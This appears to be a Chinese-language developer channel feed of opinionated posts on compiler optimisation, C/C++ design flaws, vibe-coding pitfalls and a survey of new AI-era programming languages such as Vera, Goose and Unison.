你以为【编译器大佬】很聪明,其实他们早就做了“背叛祖宗的决定”,后果是没人知道近100个Pass,你白嫖到了百分之几。 或许Linux/咕狗白嫖了很多,但60%是样板代码白给、瞎猫死耗子的 -O3 呢?

你可以写CSE,ADCE的图重构并期待它们在合适的 “z-index”,但别指望了。游戏界还知道AoS/SoA列存储呢,这优化可不是玄学

像那种位运算优化boy(拿一些众所周知、宏替换级的素材)当然是会被IR模式匹配吊打的,但是像这种APX指令集覆盖率,就不得不让写FPGA模拟器的大牛写千字文来抓虫了。


因为耗子(优化机会)实在太多,总能碰上一两只死的(c/cpp还债式优化点),让你觉得这只猫很厉害。但它的工具链是黑箱,你没法宏观的、轻松的完整利用几千位贡献者的经验和劳动。

作为对比 import astroid, ast 这个库使用【不严谨】的brains做分析,虽然也黑箱,但它至少有suite。

比起设计那么多无脑优化的投入,我会考虑设计API转译生态然后具体专案跑分,供应链高度自动优化。给语言引入的【条件式糖化】脱壳,是一个非策略的堆砌性工作,结果可能还不如不去重造GCC

一个gcc的黑箱,加上libc基本上也就剩免费API+免捆绑打包而已,其实给这些Kit做错的空间并不多。比如可复现构建/跨发行版bin,到现在也没啥人强调,那就是没做,理论上更正确(否则和全AIGC一样次次惊吓你)。


这方面 #Rust 也曾表达过MIR->IR的【技术债务】问题。C++的内存模型是mmap,几乎你能起名字的地方都有副作用,rs的干净到可以在内核堆跑,但还是要一样的链。

打个比方,写 for(i=0;i<len(a);i++) 你会考虑a莫名递减吗?90%的编译器真会考虑这个问题,但把1%的case换filter{}就够了,它TM的要改几千行。 &mut 防别名不止是为了函数式处理链零拷贝,所以基本上编译派极端维护这些烧脑的语法。

#bash 许多人滚挂/-Syu后打不开 都是拜毫无兼容的GLIBC_ver所赐

说编译器大佬【背叛编译器的初衷】,简直再准确不过了。 PL首先是人机接口,其次才是任务工具

godbolt.org 在可视化上很优秀且该死的通用,但它和@birdseye.eye有同样的问题,就是只能优化短的文件。 %timeit 也很像了。理解一个算法比实现它难很多,因为没法照抄。
动察Beating AI News
DeepSeek V4.1算子作者谈AI冲击:我不得不把才华埋葬在昨天 DeepSeek 算子工程师刘胜与发文谈 AI 对自己工作的冲击。他称 DeepSeek V4.1 的主 Attention 算子由自己编写,但按照现在的进步速度,再过半年到一年,AI 写算子的水平大概率就会追上甚至超过自己。 一年前 AI 还只能帮他查文档、读代码、找 bug,现在已经能阅读 CUDA、PTX 和 SASS,分析每条指令的停顿时间,独立优化算子。他预计下一步,AI 还会自己设计调度方案、评估性能并完成实现。 他…
https://github.com/interestingLSY/sysy-compiler/blob/main/src/middleend/pass_collapse_arr.cpp #ce

#ai #dalao 写过一个支持(C 语言子集/多维数组)编译器,编译器原理课程作业,在班级性能基准测试中获得第一名。

连个笔记/主页都没有就把IR2asm手搓,一个文件1k行,这功力也太深厚了。 如果没法DeekWiki这种完成度对我也没有用。 我已经刷到国内外十几个这种程度的人了

> Koopa IR 是一种强类型、基于静态单赋值(SSA)形式的中间表示(IR),由北京大学(PKU)助教团队为编译原理实践课程专门设计。核心特点与设计动机教学导向:受 LLVM 和 Cranelift 影响,但大幅简化了内容,专注于将精简版 C 语言(SysY)高效翻译为 RISC-V 汇编的实践需求。

唉,现在看到1k行单文件也不知道是AIGC,还是大脑超长上文所致。 私下笔记大概就是 jia.je 和[幻の上帝]的知识库这样

如果一个文件1k行,能让剩下10个文件打3折,我会开心的留下它并保留两三段的链接和注释; 可是,这样的我写不出1k行的文件,无论效率或哲学上。 😂

这就是那帮数学家面对AI解决世纪题后辩护的理由,与他们不同的是,我是认真的。

有些人怀疑Neumann的 “人肉计算器” 传言是否属实,但人肉IDE和“单机AIGC”的人恐怕也有千分之一,反正我不是其中之一。 Feynman和他们比起来,不就很菜了么。 我甚至没机会去哀悼【才华被抢留在昨天】


他的表述很奇怪。 10k级别的cpp有什么“优势”,我猜不到。
duangsuse::Echo
什么AVL和NFA都可以写800行最宽200列 ,一个函数签名200列
Bend 2 与 Vibe-Coding 陷阱
原文:https://blog.liampwll.com/posts/bend_vibe_coding/
#ce
app_win_is_bug_2d.bend 作为主页很【出片】

但,不只我一个人觉得 Bend 的点子有问题。 执行力正在成为一个影响 “生命力” 的负面因子

它看起来很酷,但你看看代码 —— 完全是两个世界的使用体验

#vibe 无脑开大坑,至少会纵容主要开发者 ──> 维护黑洞 / 兴趣迅速衰竭。 也就是揠苗助长的连锁反应

prototype 搞得开发者沉浸在一种近乎全知全能的上帝错觉里,尤其是那种对行数没有分辨能力的 {B,C }Players 更会沾沾自喜,觉得已经超过【手搓时代】的生产级codebase了

但随后就是新鲜感断崖式归零,过两年烧Token的快感没了,攻克难关的智力愉悦大概也抽掉了最后一根稻草,项目彻底脑死亡。LoC 是一种倒挂的毒药指标。


考虑到LLM的接地不止在常识上,更在直觉上有不可理喻性(洗车该不该走着去的反逻辑corpus); 指望着它们维护单.ts文件2M的游戏功能,忘记“中间语言”而只说【玩家口语】再过5年也并不现实。 即便是IDE也很难处理最先进Claude缝合出的代码

所以别问代码会不会消失——就连Java实现的代码也不会消失 🤔
🤡3
duangsuse::Echo
你以为【编译器大佬】很聪明,其实他们早就做了“背叛祖宗的决定”,后果是没人知道近100个Pass,你白嫖到了百分之几。
C++26:空的无限循环不再属于未定义行为
原文:https://www.sandordargo.com/blog/2026/09/16/cpp26-trivial-infinite-loops

#ce 为何说是白给呢? 你看看编译器人脑子里都在想什么。

我划的部分是正常人思路, 而上边“良好定义” “gcc能勉强兼容”的是真正的代码基

这只是太典且入门级的case,类同槽点数不胜数了

这些“神”早被自己造的石头砸死了。

他们当然会有这样那样的借口来容忍这些弊病,但是说实话,标准库并不理解问题。

如果这些优化器稍微稍微把【人】当成高等智慧一些,它们不会被内部复杂性砸死。c/cpp 的头文件缺少“输入法”也不是一两天的鬼故事了,这直接(从哲学上就)削弱了整个code的自包含性。它们很难享受clippy那样的集成。

哪怕是unreachable(); TODO(); ,或者在这里标一个WARN,也比吞掉严重问题(裸机segv/ILL读偏跑飞)要好,他们就是没脑子。 那么 Why not?警告太多、“约定劣于配置”、没有clippy这样的生态惯性

c/cpp 的头文件应当被视为比segv或${}注入更大的设计败笔,即便在AI实现的时代它也没起到关注点分离的效益,它的存在让我觉得我才是不正常的那个。

Segfault是让傲慢的程序员被迫向用户【服软】的切入点,而工具链如何开箱即用?却没正常人监工,后果可想而知。让纯技术人解决创作问题肯定没好事,他们打心里觉得零件越重飞起来越霸气,“能克服地心引力”。

在一个错误上解决错误和优化体验,然后觉得自己带来了新东西(还不如wheel),是dev和资深P9的【通用脑残行为】,简直能归入秃头格子衫级别的刻板印象。 UNIX的admin永远叫wheel,总是叫不醒“创新”的bozo。


C的自包含在C-like里垫底却称霸,也不是一两天的事了。len(a)和a不一样, type(u)和u分个enum tag存(顺便毁灭debug!宏),arg{c,v} 成100%复制粘贴, 严重到肉眼可见的设计败笔在vim之中就被视为神来崇拜,至于下游会脏(或说 smart)成什么样子,扁鹊来了都得逃。 CoffeeScript.org 那样【更yaml/更ruby的js】,却足以撼动ES6设计稿的优雅,在libc生态里,是没有的。 都喜欢从0开始搓一个自己并不理解的圣杯。
duangsuse::Echo
https://github.com/duangsuse/parviz 咱这边花了300r 让Opus中档写的,已经非常不错了。算是圆梦,同时也实现了个Lisp——虽然是非常优雅的那种Lisp 这个 #FP Lisp确实非常优雅。 有OOP的灵魂,配合[]{} =>字面,再加上 (< n 0)? "Neg" Or "Pos" 的if和mapNotNO非空流,1.(w@)轻松打印不傻敲 Claude莫名TTFT=∞卡了我两个小时,简直懵逼了,没被这么搞过。 许多人担忧【断网独立性】,天哪,2026了谁还无搜索引擎工作啊…
该项目目前正在插队继续中, 🤔 目前的场景是p5.js的交互式调试器,以及Lisp方言本身作为PEG实现的可能性。

主要是额度烧太快, 必须轮替一些不氪的小项目(氪40$叫小么..)


> #PLT #ce 目前找了一些有vibe后设计的新编程语言,例如sema,Jac。这种完成度的再推荐5个…… 要那种demo能看的,不要噱头

FlatBuffers.dev 作者的Goose么?Variable-mode enum + 原地修改 + Case functions +随便push,么?确实对rs enum{A()B()}很好的扩展,可能是 Lua/Lobster 的上位位置。

unison-lang.org 的免序列化/同步值类型和CAS代码库听起来也很有趣,CAS 代码库是真的过筛。这些对 agent 比对人更有价值,死在 ML/Haskell 风味的类型系统门槛

嗯…… AIGC有可能让这种基本上以单个特性闻名的编程语言,有活力吗?

单点特性语言,最缺的是不可替代的使用场景,不是写代码的人或AI兼容。

我觉得在json风格内存上goose比rs更让人满意,Carmack 也点过赞。而且lifetime的消失是pros,Rust不让AI开心

作为Rust关掉checker后的drop-in大概很好。美中不足的是,生态位尴尬 AI降智程度不明,然后除了HPC,应用编程这块基本是H5的天下了,生存空间需要下游而不是编译器PL层面去开阔。工具链层面:基本不能从 Rust 直接迁移。

https://github.com/sjrsjz/onion-lang

默认不可变 + 显式 mut/const、生成器驱动的异步(async/spawn/pool)、无 GIL 的真多线程(launch/valueof), 这些坎都是存在的,AIGC跳不过去

https://github.com/sema-lisp/sema
https://docs.jaseci.org/quick-guide/jac-vs-traditional-stack/ (主张的点存在,但看后很鸡肋)。和现有生态(npm/PyPI)互操作时的摩擦不敢说。mypy / pyright 不认它,生成的 Python,调用栈和源码对不上时,怎么办?Todo 例子数胶水行数,实际说服力有限
https://github.com/winglang/examples/blob/main/examples/redis/main.w 这个做的比它好太多

https://www.sunholo.com/ailang-demos/ (这个和mojo差不多方向,但vibe的很杂乱,严重怀疑主创的专业程度)(Mojo 靠 Modular 整个 MLIR 团队撑着)

纯粹Agent化的只看到个位数的有用,而且感觉相当外行or跟风
https://zerolang.ai/primitives
https://agentlanguages.dev/languages/vera/

Vera 这个变量名即类型有种费token但安全的宣传,就像砍缩进省token的那些玩意,但不清楚效果,至少对人类而言

fn safe_divide(@Int, @Int -> @Int) ensures(@Int.result == @Int.0 / @Int.1)

它的理由引用了几篇论文(打乱名字比混淆后更伤),同时强制每函数有 requires/ensures/effects+Z3砍offbyone,bench上也与py/ts接近,安全主张上证据未知,有点像Bend,把黑箱证明堆砌到几MB,可用性完全玄学。 @Int.0 / @Int.1…… LLM 恰好在位置计数上最弱比A/B都差


唯一站得住的部分是强制 effects,这又回到Unison和Goose的主张——新的可能性,人和模型都能读(use IO、Net、Random、分布式..),审查时不需要信任任何黑箱。而不是不可见层做到最顶。

| 特性类型 | 以前的价值 | AI 时代 |
| --- | --- | --- |
| 减少击键(简洁语法、省 token 的奇技淫巧) | 高 | 接近零——没人手敲了 |
| 让错误被编译器而非 reviewer 抓到(类型、borrow、effects) | 中 | 上升——是模型唯一能拿到的确定性反馈 |
| 让行为在表面可读(显式 effects、capability、契约) | 中(人嫌啰嗦) | 大幅上升——审查者(人或另一个模型)不用信任黑箱 |
| 生态/语料规模 | 高 | 更高——零语料直接废掉 AI 兼容的前提 |

Vera 卖的是"程序被证明没做坏事",而证明本身【高技术力】,用户看不见。


综合评估 —— 【编程语言】【工具链】 仍然是爆冷状态, 能用的 sema.run 设计蠢炸, 只不过是新SDK装老酒,而且纯vibe出品没意思,hero页也不出片。 Moonbit.cn 有创新但没有工作流级突破,且WASM生态尴尬。

hero页是次要问题(Bend形式化验证的展示较优秀), 主要还是日用和Agent带用的体验,这些CLI都会强调,但感觉过于死板,不像是理解PL的人做的决策层

根据知道的一些社区氛围,最【理解】的人都在做人类看不见的flow——无论是Runtime/JIT还是“证据提供”和标注hint验证。 与我们“numpy和taichi比LLVM懂什么叫优化,热重载、URL和TTD调试比节点图懂什么是软件”的底层逻辑不搭


🦄 【语言作为人体工学产品的卖点早消失了】 对玩过MC红石、Scratch、Desmos的人是扯淡—— 编程本身也可以是一种社交和享受,而不是【有咏唱无魔法】的精力亏损和职业上的斤斤计较。 懂 PL 的人在做 JIT 和证据链,不懂的人在做 SDK 套壳。代码的社交性被低估,以至于人不是以《美团》这样的平台观衡量代码,而是问【为何不让Codex一次帮我点10杯奶茶?】这种蠢问题。

Darklang(AI 重启版)Glamorous Toolkit(Pharo 系), codepen/esm.run 这类 URL 即函数的平台,反应式 notebook不在 PL 层。 AI的理由正确,但理解不了我想做什么。

这些东西没有一个来自 PL 学界。代码从负债变回作品的条件第一次在职业领域之外大规模成立。这个窗口里需要语言
❤1